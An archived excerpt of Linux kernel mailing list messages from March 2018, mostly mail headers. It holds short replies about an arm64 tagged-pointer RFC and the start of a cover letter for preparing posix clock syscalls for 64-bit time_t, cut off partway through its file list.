	List-Archive:List-Unsubscribe:List-Id:To:Subject:Message-ID:Date:From:
	References:In-Reply-To:MIME-Version:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=1hRG8zN9FlTOV4T9ikUKO2Sszr+6+Ded7wf5Wtwn12k=; b=i5b7d8ynzpr5b1
	hkG5XAOmMlGCPFqCKb+wdlEL2HVx7RSe4AyVkr3uHQEV/uKBfVGfZC+0ZStOiF8yEveusoLAc7FKX
	UgZz4isYb/0bnt33k7mTx+ywWFbsnJuL6Y/Mxn839cKdFxRs0Mpj+DFtkKsN/OxVhJcFR2sW93zN/
	aDPDCYcWW/xaLHCSJiArfvgQYASVCs2zS4yXaiD3KKSJ8qkt6C002xDbUXjkTZDR3ItSkapwgpB3D
	oSJuu/8m7JAVnLpgxAI+uzWr1ntoqVBeDfrQxP+spAnB4eryWIZUq1pAz1+s4JfC0bywt+2ru5kwq
	rm701Z6RvroIHbMGTOiA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.89 #1 (Red Hat Linux))
	id 1euKFh-0007ii-FI; Fri, 09 Mar 2018 15:48:13 +0000
Original-Received: from mail-it0-x244.google.com ([2607:f8b0:4001:c0b::244])
 by bombadil.infradead.org with esmtps (Exim 4.89 #1 (Red Hat Linux))
 id 1euKF7-0007MY-7j
 for linux-snps-arc@lists.infradead.org; Fri, 09 Mar 2018 15:47:44 +0000
Original-Received: by mail-it0-x244.google.com with SMTP id l187-v6so3334115ith.4
 for <linux-snps-arc@lists.infradead.org>; Fri, 09 Mar 2018 07:47:26 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20161025;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=jAAksnYYkMODsnsZbowE4/VFrct/KsJsppH3N6IgE5E=;
 b=UtibAzSDPg3Hg5hBk8M0mhG7Kp0G649HLc8j+63ikcwLMj5EOHI7aNDybftq6HDMym
 gPQudQDqqs41i1jkCgFzTYKkSFoWaA2CBCjEmjYX5r8nrtc4JO/EBXHAFvnecUELL26C
 /pt8P4whDL2PTLjzSinEq6AdlsXD43HpG74a/9/2O6rw3TEQqUH4Xem3NgrBPPBI0Jv7
 cRaaoLmGD1GhQMByIRcJLC4vCoqiByih0Xb9YxSNbn3LHn1Z32Gpr76mDgc2dCk3ARR5
 Jq3vRL2C5VHUX4c2xtptsue0bMshqLG3PSz+IhNCcBE/cjUhM1h3eRyWU3lSPm/YbwOm
 fMxw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=jAAksnYYkMODsnsZbowE4/VFrct/KsJsppH3N6IgE5E=;
 b=iWABijmjlbP81et51rSEsVSVWG9uPJndTD8NjFIqEZkOnPy49on8oQcOwl4x9K4s2G
 EqSvaK+FcxGiCWgvzaDpX5N/TProjukcDTHxA1cULbCXfGxyKCJLSzFNo5aIsq38jYMe
 8vRDsgKcrqNX2q072LI8tq03DCgfBn1bzD7aXGoH7Z8YCNLjoJbvLn2J2qlL1Ai+Yc1K
 auwF2I92wlUDbMCoE2g8XKj7jLnKmYdphxSM8P+pIPEy4F6r9TybMsEgiy2dZt3ig2QG
 lsjBvNu+JnviIIW7Bo43Fx5v09e3Ff7MbmCfmG4cNZmWRGkWLG5Ub6pPqDlWm+kBWmxz
 tA1A==
X-Gm-Message-State: AElRT7FuvQ9vOARMVVOM3vX7XYUo4FcShubAG+ypw5t+F5JfykkuKAhd
 mnr1fkkvuC0rZn0TG2fxYezDtpG8GWwJZwiN1Q5bCw==
X-Google-Smtp-Source: AG47ELsF7lorhRvuFkmJ5gTFIQ+mijzHzzmqoCjPv2uK8Rd/dB8Y4qjhePOvFPSh69W8VA48c0fknemZtvTJgO2GVa4=
X-Received: by 2002:a24:6c3:: with SMTP id 186-v6mr4327971itv.44.1520610443976; 
 Fri, 09 Mar 2018 07:47:23 -0800 (PST)
Original-Received: by 10.2.102.68 with HTTP; Fri, 9 Mar 2018 07:47:23 -0800 (PST)
In-Reply-To: <b320ff92-43ae-a479-35aa-4257b9c5430e@arm.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180309_074737_773107_D2C64D8D 
X-CRM114-Status: GOOD (  12.79  )
X-Spam-Score: -2.0 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4001:c0b:0:0:0:244 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3559 gmane.linux.ports.mips.general:63987 gmane.linux.ports.sh.devel:56627 gmane.linux.kernel.cross-arch:42575 gmane.linux.kernel:2708923 gmane.linux.ports.ia64:28686 gmane.linux.kernel.metag:1695 gmane.linux.ports.arm.kernel:637236 gmane.linux.ports.parisc:28312 gmane.linux.ports.alpha:4784 gmane.linux.kernel.mm:191101 gmane.linux.ports.sparc:27405 gmane.linux.ports.ppc64.devel:154224
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3559>

On Fri, Mar 9, 2018 at 3:16 PM, Robin Murphy <robin.murphy@arm.com> wrote:
> On 09/03/18 14:02, Andrey Konovalov wrote:
>>
>> To allow arm64 syscalls accept tagged pointers from userspace, we must
>> untag them when they are passed to the kernel. Since untagging is done in
>> generic parts of the kernel (like the mm subsystem), the untagged_addr
>> macro should be defined for all architectures.
>
>
> Would it not suffice to have an "#ifndef untagged_addr..." fallback in
> linux/uaccess.h?
>

Hi Robin!

This approach is much better, I'll try it. This will also solve the
merge issues that Arnd mentioned.

Thanks!

From - Thu Nov 08 21:41:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andrey Konovalov <andreyknvl@google.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC PATCH 0/6] arm64: untag user pointers passed to the kernel
Date: Fri, 9 Mar 2018 18:58:00 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <CAAeHK+xTEp-jcMDxNK4kCKcNtVbu4s4VXxzThsKMMFaTdBv0RQ@mail.gmail.com>
References: <cover.1520600533.git.andreyknvl@google.com>
 <963e112a-88a0-94bc-e6eb-0e9f9a6ee14a@arm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1520618188 18002 195.159.176.226 (9 Mar 2018 17:56:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Mar 2018 17:56:28 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Lee Smith <Lee.Smith@arm.com>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Paul Mackerras <paulus@samba.org>,
 Shaohua Li <shli@fb.com>, linux-arch@vger.kernel.org,
 Jacob Bramley <Jacob.Bramley@arm.com>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E . J . Bottomley" <jejb@parisc-linux.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Evgeniy Stepanov <eugenis@google.com>,
 Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
 adi-buildroot-devel@lists.sourceforge.net,
 Mike Rapoport <rppt@linux.vnet.ibm.com>, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 LKML <linux-kernel
To: Robin Murphy <robin.murphy@arm.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Mar 09 18:56:15 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1euMFb-0004OA-Dm
	for gla-linux-snps-arc@m.gmane.org; Fri, 09 Mar 2018 18:56:15 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:Subject:Message-ID:Date:From:
	References:In-Reply-To:MIME-Version:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=xbu/sKFk7PMgjYdqWrJAWw0nkvwr6olpGfdLpRyOdw4=; b=kgH8fszHRWTyR/
	A2teHAZx9YWzwhNvQlU6wGXfmOtzlvkIuVuScpuJsT9nUkwsdsssuqlO8E7+6tTqQI4rRcZm8tIFf
	4Nj/tPK9iueNEdOLdhEryRcLKvB3dAe8oGyz6JRq4ck1rxIdBcUuMsr6veSb3Tk6SsMk8ge+1lsO4
	a1Knc9dvVwNqAtO8UdyvhnHiH5BUkInVtrMi4dlh+U1BbZwwGms8inqexe1VHfahAZwqkX/kK8/EC
	omn+lQwOv947/iIAyPMt54kdqkWd7QKH10j/sgnSiSl/6Qh5+zDgXfLnLPhu/J6Dm/NcuCJN0RnaC
	m2tCpuqfWGkGhxSGBV/A==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.89 #1 (Red Hat Linux))
	id 1euMHc-0008Rq-Ak; Fri, 09 Mar 2018 17:58:20 +0000
Original-Received: from mail-io0-x244.google.com ([2607:f8b0:4001:c06::244])
 by bombadil.infradead.org with esmtps (Exim 4.89 #1 (Red Hat Linux))
 id 1euMHV-0008KM-J8
 for linux-snps-arc@lists.infradead.org; Fri, 09 Mar 2018 17:58:16 +0000
Original-Received: by mail-io0-x244.google.com with SMTP id d71so4427931iog.4
 for <linux-snps-arc@lists.infradead.org>; Fri, 09 Mar 2018 09:58:03 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20161025;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=ytr0eCyhrSlYJUx6v/73vhT/W9iKGUGXQ0WwWeu81/g=;
 b=D2GjXNID2R5u9iwYfdZ19neDQv9gDkz7lYYR62QdIwxHQLwH3d3qynfY+ytqfHo9v8
 outkJWhZzK3dm/kHxulpi5pmilm/eMgeR2bRj4BNgImnAxLt69DKTyG/mL+1vcGuGq7Y
 yqOIgL/DKLXr10SKGHQ25HLf3W6vy8dIh4+YEH+3OChjH5U+Nq/7zuLqDZn8u8cqQt/E
 LbJuoI970WH5zWE+hgDn945HmdW1uAXOfL4MXKmGsUDoACihDScHuw5ZD8DuOe/+Adp7
 VxldyLw+PAmTF/k/awpUwtRA7tgo1UQPnJluMuPJHN9bW5nachCZXrgRrpAiTyuOav/q
 B1Ow==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=ytr0eCyhrSlYJUx6v/73vhT/W9iKGUGXQ0WwWeu81/g=;
 b=CYNjch3bsrfLtrVh4zKuzhTpS/gFuDaz5dIRu5VEDOMKTup9XU88R+nZ7XIEj2FZHG
 9R/qL4YgvONeb+OOucOshFBN34fZ4ryMy9j0bxpN1rEoySTU13y7vEuP82FojXfSsD8h
 4P4a92AgHfdAzDX2wrpmrcF/+FTo5tGaQvw8IKmBxPKzvoYVxkEfs/FA8zPIWOjrISAx
 IuJUCTCPYhLJzg1uL+RbF6fYqm8TaClC8RXeKNH0cVJvPSA9IcqgmvTkezJaSN6SjwHV
 /vxFbIF3SEj9VRwKf1OxOR1HsEzbwOuAQVoGK944zzd6mzZASVIi5DL1uhIHXeJSMANK
 mmsg==
X-Gm-Message-State: AElRT7F6DtsySI5qgoTAQSwgShEbXc3jwlDpKmp32wfiarbsEjnpPclS
 DbcpfEjfmvRkcU0cS9C5YuUVL0G6UomkEMHTBNRLrg==
X-Google-Smtp-Source: AG47ELvgTJdVcFaeY9AnGrjJ7mPCt2UE4Uf0AhCvOg7h8XSyfqbF72EQuYH+b2TxzabYJRj9chxt9TAS3pX3Yvgh2Pk=
X-Received: by 10.107.170.158 with SMTP id g30mr17768810ioj.31.1520618281404; 
 Fri, 09 Mar 2018 09:58:01 -0800 (PST)
Original-Received: by 10.2.102.68 with HTTP; Fri, 9 Mar 2018 09:58:00 -0800 (PST)
In-Reply-To: <963e112a-88a0-94bc-e6eb-0e9f9a6ee14a@arm.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180309_095813_820961_9149F532 
X-CRM114-Status: GOOD (  13.50  )
X-Spam-Score: -2.0 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4001:c06:0:0:0:244 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3560 gmane.linux.ports.mips.general:63988 gmane.linux.ports.sh.devel:56628 gmane.linux.kernel.cross-arch:42584 gmane.linux.kernel:2709058 gmane.linux.ports.ia64:28687 gmane.linux.kernel.metag:1696 gmane.linux.ports.arm.kernel:637273 gmane.linux.ports.parisc:28313 gmane.linux.ports.alpha:4785 gmane.linux.kernel.mm:191104 gmane.linux.ports.sparc:27406 gmane.linux.ports.ppc64.devel:154231
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3560>

On Fri, Mar 9, 2018 at 3:15 PM, Robin Murphy <robin.murphy@arm.com> wrote:
> Hi Andrey,
>
> On 09/03/18 14:01, Andrey Konovalov wrote:
>>
>> arm64 has a feature called Top Byte Ignore, which allows to embed pointer
>> tags into the top byte of each pointer. Userspace programs (such as
>> HWASan, a memory debugging tool [1]) might use this feature and pass
>> tagged user pointers to the kernel through syscalls or other interfaces.
>
>
> If you propose changing the ABI, then
> Documentation/arm64/tagged-pointers.txt needs to reflect the new one, since
> passing nonzero tags via syscalls is currently explicitly forbidden.
>
> Robin.

Hi Robin!

I will include changes to Documentation/arm64/tagged-pointers.txt in
the next version.

Thanks!

From - Thu Nov 08 21:41:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.year-2038,gmane.linux.oprofile,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.api,gmane.linux.ports.ppc64.devel
Subject: [PATCH v4 00/10] posix_clocks: Prepare syscalls for 64 bit time_t
 conversion
Date: Mon, 12 Mar 2018 10:52:57 -0700
Lines: 160
Approved: news@gmane.org
Message-ID: <20180312175307.11032-1-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1520877104 20567 195.159.176.226 (12 Mar 2018 17:51:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Mar 2018 17:51:44 +0000 (UTC)
Cc: mark.rutland@arm.com, linux-mips@linux-mips.org, peterz@infradead.org,
 benh@kernel.crashing.org, sth@linux.vnet.ibm.com, heiko.carstens@de.ibm.com,
 paulus@samba.org, hpa@zytor.com, sparclinux@vger.kernel.org,
 devel@driverdev.osuosl.org, linux-s390@vger.kernel.org, y2038@lists.linaro.org,
 mpe@ellerman.id.au, deller@gmx.de, x86@kernel.org, sebott@linux.vnet.ibm.com,
 jejb@parisc-linux.org, will.deacon@arm.com, borntraeger@de.ibm.com,
 mingo@redhat.com, oprofile-list@lists.sf.net, catalin.marinas@arm.com,
 linux-arch@vger.kernel.org, rric@kernel.org, cmetcalf@mellanox.com,
 oberpar@linux.vnet.ibm.com, acme@kernel.org, jwi@linux.vnet.ibm.com,
 rostedt@goodmis.org, ubraun@linux.vnet.ibm.com, gerald.schaefer@de.ibm.com,
 linux-parisc@vger.kernel.org, gregkh@linuxfoundation.org, cohuck@redhat.com,
 linux-kernel@vger.kernel.org, ralf@linux-mips.org, hoeppner@linux.vnet.ibm.com,
 linux-ap
To: arnd@arndb.de,
	tglx@linutronix.de,
	john.stultz@linaro.org
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Mon Mar 12 18:51:36 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp2.osuosl.org ([140.211.166.133] helo=hemlock.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1evRbj-0005BF-8y
	for glddd-devel@m.gmane.org; Mon, 12 Mar 2018 18:51:35 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by hemlock.osuosl.org (Postfix) with ESMTP id 23D248883F;
	Mon, 12 Mar 2018 17:53:42 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2nCxGXLvs88y; Mon, 12 Mar 2018 17:53:40 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by hemlock.osuosl.org (Postfix) with ESMTP id A306F8869D;
	Mon, 12 Mar 2018 17:53:40 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from silver.osuosl.org (smtp3.osuosl.org [140.211.166.136])
 by ash.osuosl.org (Postfix) with ESMTP id 2942C1C09A7
 for <devel@linuxdriverproject.org>; Mon, 12 Mar 2018 17:53:39 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by silver.osuosl.org (Postfix) with ESMTP id 25DAD2226D
 for <devel@linuxdriverproject.org>; Mon, 12 Mar 2018 17:53:39 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from silver.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id SXj3rXV9nKz2 for <devel@linuxdriverproject.org>;
 Mon, 12 Mar 2018 17:53:37 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-pf0-f194.google.com (mail-pf0-f194.google.com
 [209.85.192.194])
 by silver.osuosl.org (Postfix) with ESMTPS id ECD35220D7
 for <devel@driverdev.osuosl.org>; Mon, 12 Mar 2018 17:53:36 +0000 (UTC)
Original-Received: by mail-pf0-f194.google.com with SMTP id 68so4672217pfx.3
 for <devel@driverdev.osuosl.org>; Mon, 12 Mar 2018 10:53:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=from:to:cc:subject:date:message-id;
 bh=wsQ2EKHpxsoUql4rtov88bYm7v3n582qSeK/GAaB39c=;
 b=IlLiKWZ/KJxvhIrFeTgGuSjjH8eUZajMNmdWUP2K8TWpNAIt4NHkal4PAyiTRe2uTF
 5cmxI5KJui39FfnI3DgpcAAw0QZlDV7HwjK+EAORSIVeKyWQSri08kEGc0tfcVLwHmFx
 SQFeucipbxvwYJJqUCnLP1tQk5Z6nREWPy9/J8NJmSOj7b4hC3Jjdj1hpA89x/Aa8bhw
 bNJ3ggrAeGHRSdBzE63cckyVc0DJ5X5iFKzeYMH02IT0NozVV/+EIy7KNtaAHz3BukLM
 24GM9Kz1EQF9m2dmLTS7MzRCK2imcEKO0qC7NWQFNMReqJlipGjCIC8pJyHcytPUlskw
 vvsQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id;
 bh=wsQ2EKHpxsoUql4rtov88bYm7v3n582qSeK/GAaB39c=;
 b=uDmqr2txslMvFMtXu33H1Mnof2nzNUXU6y0aOHTtBcolScSs9jKrlRxNdFD0gwDmbX
 dCu4EB6B4wskvn/UjCg44Rx6S46m6vmP8CmlMb0TRkAlcBFsfIJ1b7Yn916Zt4j+OmlK
 kNebNU+pK/bJVeD0S5wCIfwApkc/FDImjI9krJwyxQZkVHm1nJ7OncctamN8KS5/5Rv6
 6ePpLbLb+vD0/PpNDIXIaixDIl1NbtKzn+qG87qJkenKnsNWghp+dDYmGRwSuCEtYgZz
 GGG6DcZLvEedAnzaYBsStfWW+m/svL5y0HL+RylN9KT5GhljFW9kXPQgRtEjP5f1X+0e
 +X5Q==
X-Gm-Message-State: AElRT7Eer5umWIFwXu+1CH1R5MDhrgTpQO9+sz8+PrwZG0xsmfwnxzXw
 LUDkoODo3PoDDB7afnFqi2JU+Q==
X-Google-Smtp-Source: AG47ELtEUHxkloWeYh/+IblZ6uOtqEwDuujY4BXPrvp2EMYTU0kr7iN4DMzE3D+cVOTZLGsuC55y7g==
X-Received: by 10.99.127.65 with SMTP id p1mr7395762pgn.141.1520877216414;
 Mon, 12 Mar 2018 10:53:36 -0700 (PDT)
Original-Received: from deepa-ubuntu.lan (c-67-170-212-194.hsd1.ca.comcast.net.
 [67.170.212.194])
 by smtp.gmail.com with ESMTPSA id l64sm18906810pfi.142.2018.03.12.10.53.33
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Mon, 12 Mar 2018 10:53:35 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:114326 gmane.linux.ports.mips.general:63992 gmane.linux.ports.sparc:27407 gmane.linux.kernel.year-2038:2527 gmane.linux.oprofile:13162 gmane.linux.kernel.cross-arch:42624 gmane.linux.ports.parisc:28314 gmane.linux.kernel:2711230 gmane.linux.kernel.api:27118 gmane.linux.ports.ppc64.devel:154289
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/114326>

The series is a preparation series for individual architectures
to use 64 bit time_t syscalls in compat and 32 bit emulation modes.

This is a follow up to the series Arnd Bergmann posted:
https://sourceware.org/ml/libc-alpha/2015-05/msg00070.html [1]

Thomas, Arnd, this seems ready to be merged now.
Can you help get this merged?

Big picture is as per the lwn article:
https://lwn.net/Articles/643234/ [2]

The series is directed at converting posix clock syscalls:
clock_gettime, clock_settime, clock_getres and clock_nanosleep
to use a new data structure __kernel_timespec at syscall boundaries.
__kernel_timespec maintains 64 bit time_t across all execution modes.

vdso will be handled as part of each architecture when they enable
support for 64 bit time_t.

The compat syscalls are repurposed to provide backward compatibility
by using them as native syscalls as well for 32 bit architectures.
They will continue to use timespec at syscall boundaries.

CONFIG_64_BIT_TIME controls whether the syscalls use __kernel_timespec
or timespec at syscall boundaries.

The series does the following:
1. Enable compat syscalls on 32 bit architectures.
2. Add a new __kernel_timespec type to be used as the data structure
   for all the new syscalls.
3. Add new config CONFIG_64BIT_TIME(intead of the CONFIG_COMPAT_TIME in
   [1] and [2] to switch to new definition of __kernel_timespec. It is
   the same as struct timespec otherwise.
4. Add new CONFIG_32BIT_TIME to conditionally compile compat syscalls.

* Changes since v3:
 * Updated include file ordering
* Changes since v2:
 * Dropped the ARCH_HAS_64BIT_TIME config.
 * Fixed zeroing out of higher order bits of tv_nsec for real.
 * Addressed minor review comments from v1.
* Changes since v1:
 * Introduce CONFIG_32BIT_TIME
 * Fixed zeroing out of higher order bits of tv_nsec
 * Included Arnd's changes to fix up use of compat headers

I decided against using LEGACY_TIME_SYSCALLS to conditionally compile
legacy time syscalls such as sys_nanosleep because this will need to
enclose compat_sys_nanosleep as well. So, defining it as 

config LEGACY_TIME_SYSCALLS
     def_bool 64BIT || !64BIT_TIME

will not include compat_sys_nanosleep. We will instead need a new config to
exclusively mark legacy syscalls.

Deepa Dinamani (10):
  compat: Make compat helpers independent of CONFIG_COMPAT
  include: Move compat_timespec/ timeval to compat_time.h
  compat: enable compat_get/put_timespec64 always
  arch: introduce CONFIG_64BIT_TIME
  arch: Introduce CONFIG_COMPAT_32BIT_TIME
  posix-clocks: Make compat syscalls depend on CONFIG_COMPAT_32BIT_TIME
  include: Add new y2038 safe __kernel_timespec
  fix get_timespec64() for y2038 safe compat interfaces
  change time types to new y2038 safe __kernel_* types
  nanosleep: change time types to safe __kernel_* types

 arch/Kconfig                           | 15 +++++++++
 arch/arm64/include/asm/compat.h        | 11 -------
 arch/arm64/include/asm/stat.h          |  1 +
 arch/arm64/kernel/hw_breakpoint.c      |  1 -
 arch/arm64/kernel/perf_regs.c          |  2 +-
